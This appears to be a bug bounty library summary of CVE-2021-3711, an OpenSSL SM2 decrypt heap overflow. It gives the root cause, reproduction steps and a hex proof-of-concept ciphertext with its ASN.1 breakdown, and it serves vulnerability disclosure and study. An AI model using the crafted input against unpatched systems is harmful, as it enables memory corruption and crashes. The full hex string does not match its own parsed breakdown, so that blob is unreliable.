# CVE-2021-3711: SM2 decrypt  buffer overflow 

SM2 decryption size calculation in OpenSSL undercounts plaintext length, so a two-call EVP_PKEY_decrypt pattern overflows the caller's heap buffer by up to 62 bytes.

- Payout: $2,000
- Severity: high
- Program: Internet Bug Bounty
- Found by (vendor credit): John Ouyang
- Found by: ouyang
- Disclosed: 2021-09-27
- CVE: CVE-2021-3711
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1352429
- Library page: https://bugbountylibrary.com/r/h1%3A1352429
- Tags: area:oss domain:oss impact:dos impact:integrity kind:bounty platform:hackerone sev:high technique:parser-differential technique:source-review vuln:memory-corruption

**Target:** OpenSSL EVP_PKEY_decrypt / pkey_sm2_decrypt SM2 ciphertext parsing
**Root cause:** sm2_plaintext_size computes required plaintext length from msg_len minus a fixed overhead (106), but the actual decrypted output length depends on the ASN.1-parsed ciphertext component lengths, so the first-call size hint can be smaller than the second-call output.
**Steps:**
1. Craft ASN.1 SM2 ciphertext where the OCTET STRING ciphertext component length exceeds msg_len-106, e.g. `3072022070DAD6...040B6D588BE9260A94DA18E0E6` (116 bytes total, 11-byte ciphertext).
2. Call `EVP_PKEY_decrypt(ctx, NULL, &outlen, in, inlen)`; sm2_plaintext_size returns 10 (116-106).
3. Allocate 10-byte buffer, call `EVP_PKEY_decrypt(ctx, out, &outlen, in, inlen)` again.
4. Decryption writes 11 bytes into the 10-byte buffer, 1-byte heap overflow (up to 62 bytes with larger mismatch).
**How found:** Code review of the SM2 decrypt path: noticed the size-hint function used a fixed overhead subtraction rather than the actual parsed ciphertext length, then built an ASN.1 ciphertext whose component length violated that assumption to confirm the mismatch.
**Exploitation:** Attacker supplies crafted SM2 ciphertext to any application using the documented two-call EVP_PKEY_decrypt pattern; the second call writes attacker-influenced bytes past the undersized heap buffer, corrupting adjacent heap data or crashing the process.
**Insight:** When an API returns a size hint on a first call and fills on a second, audit whether the hint is derived from the same parsed structure as the actual output; ASN.1 length fields let you decouple the two.

## Proof of concept (copied exactly from the original report)

**SM2 ciphertext that triggers 1-byte overflow**

```
3072022070DAD60CDA7C30D64CF4F278A849003581223F5324BFEC9BB329229BFFAD21A6021F18AFAB2B35459D2643243B242BE4EA80C6FA5071D2D847340CC57EB9309E5D04200B772E4DB664B2601E3B85E39E4DB664B2601E3B85E39C4AA308BE13588C301308E3588C01308E3588E3308E4

2. Parse SM2 ciphertext
The length of this ciphertext is 116 bytes. Parse this group of ciphertexts according to the ASN.1 format:

3072 //30 indicates the SEQUENCE type, 72 indicates that the total length of the subsequent data is 114 bytes

0220 //02 means INTEGER type, 20 means the length of the integer is 32 bytes

70DAD60CDA7C30D64CF4F278A849003581223F5324BFEC9BB329229BFFAD21A6 //32-byte XCoordinate

021F //02 means INTEGER type, 1F means the length of the integer is 31 bytes

18AFAB2B35459D2643243B242BE4EA80C6FA5071D2D847340CC57EB9309E5D //31-byte YCoordinate

0420 //04 means OCTETSTRING type, 20 means the length of the string is 32 bytes

0B772E4DB664B2601E3B85E39C4AA8C2C1910308BE13B331E009C5A9258C29FD //32-byte HASH

040B //04 means OCTETSTRING type, 0B means the length of the string is 11 bytes

6D588BE9260A94DA18E0E6 //11-byte ciphertext
```

